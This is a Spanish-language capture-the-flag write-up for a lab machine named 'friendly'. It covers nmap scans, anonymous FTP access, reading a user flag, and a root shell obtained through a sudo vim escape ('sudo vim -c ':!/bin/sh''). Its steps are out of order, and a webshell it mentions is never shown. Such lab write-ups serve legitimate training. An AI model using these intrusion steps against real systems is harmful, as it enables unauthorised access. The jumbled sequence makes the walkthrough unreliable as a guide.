> nmap -p- --open -Pn -n -T5 10.100.2.28
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-30 17:09 CET
Nmap scan report for 10.100.2.28
Host is up (0.00053s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
MAC Address: 00:0C:29:30:30:71 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1.22 seconds
Observamos que los puertos 21 (FTP) y 80 (HTTP) están abiertos y lanzamos un escaneo con nmap de scripts reconocimiento básicos para obtener más información.
El servicio FTP permite el acceso vía usuario anonymous.
> nmap -p21,80 -sCV 10.100.2.28
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-30 17:19 CET
Nmap scan report for 10.100.2.28
Host is up (0.00026s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 root root 10725 Feb 23 2023 index.html
80/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 00:0C:29:30:30:71 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.11 seconds
Procedemos a conectarnos al servicio FTP con la cuenta anonymous. Listamos el directorio y vemos que existe el fichero index.html. Nos descargamos el fichero usando el comando get index.html.
Visualizamos el fichero vía navegador y corresponde al fichero default de Apache.
> ftp 10.100.2.28
Connected to 10.100.2.28.
220 ProFTPD Server (friendly) [::ffff:10.100.2.28]
Name (10.100.2.28:ronin): anonymous
331 Anonymous login ok, send your complete email address as your password
Password:
230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||37884|)
150 Opening ASCII mode data connection for file list
-rw-r--r-- 1 root root 10725 Feb 23 2023 index.html
226 Transfer complete
ftp> get index.html
local: index.html remote: index.html
229 Entering Extended Passive Mode (|||4871|)
150 Opening BINARY mode data connection for index.html (10725 bytes)
100% |***********************************************************************************************************************************************************************************************| 10725 106.54 MiB/s 00:00 ETA
226 Transfer complete
10725 bytes received in 00:00 (4.72 MiB/s)
En el directorio RiJaba1 encontramos diferentes directorios y archivos, entre ellos el token del user.
www-data@friendly:/var/www/html$ cd /home/
www-data@friendly:/home$ ls
RiJaba1
www-data@friendly:/home$ cd RiJaba1
www-data@friendly:/home/RiJaba1$ ls
CTF Private YouTube user.txt
www-data@friendly:/home/RiJaba1$ cat user.txt
b8cff8c**********7b4475acd6
Revisamos el resto de directorios dentro de /RiJaba1 y no obtenemos información relevante.
Escalada de privilegios
Listamos los permisos sudo que tiene el usuario www-data. Encontramos que tiene ejecución del binario vim como sudo.
www-data@friendly:/var/www/html$ sudo -l
Matching Defaults entries for www-data on friendly:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on friendly:
(ALL : ALL) NOPASSWD: /usr/bin/vim
Lanzamos el comando indicado en la web y comprobamos que somos root.
www-data@friendly:/var/www/html$ sudo vim -c ':!/bin/sh'
> whoami
root
Nos dirigimos a la raíz de usuario root y encontramos los ficheros root.txt y interfaces.sh. Mostramos el contenido del fichero root.txt pero no obtenemos el token.
root@friendly:~# cd /root
root@friendly:~# ls
interfaces.sh root.txt
root@friendly:~# cat root.txt
Not yet! Find root.txt.
Tras ver el siguiente mensaje obtenemos una pista de como encontrar el token usando el comando findsobre la raíz del sistema. Nos muestra dos rutas una la del directorio root que es el anterior fichero visualizado y la siguiente ruta /var/log/apache2/root.txt. Encontramos el token correcto dando por finalizada la máquina.
Como tenemos acceso al directorio raíz del servicio web, procedemos a crear una webshell con la ayuda de . Obtenemos el siguiente código y lo volcamos en un fichero PHP.
Tras detectar que podemos escalar privilegios gracias a vim, me dirijo a la webdonde encuentro la opción (a) y obtener privilegios root.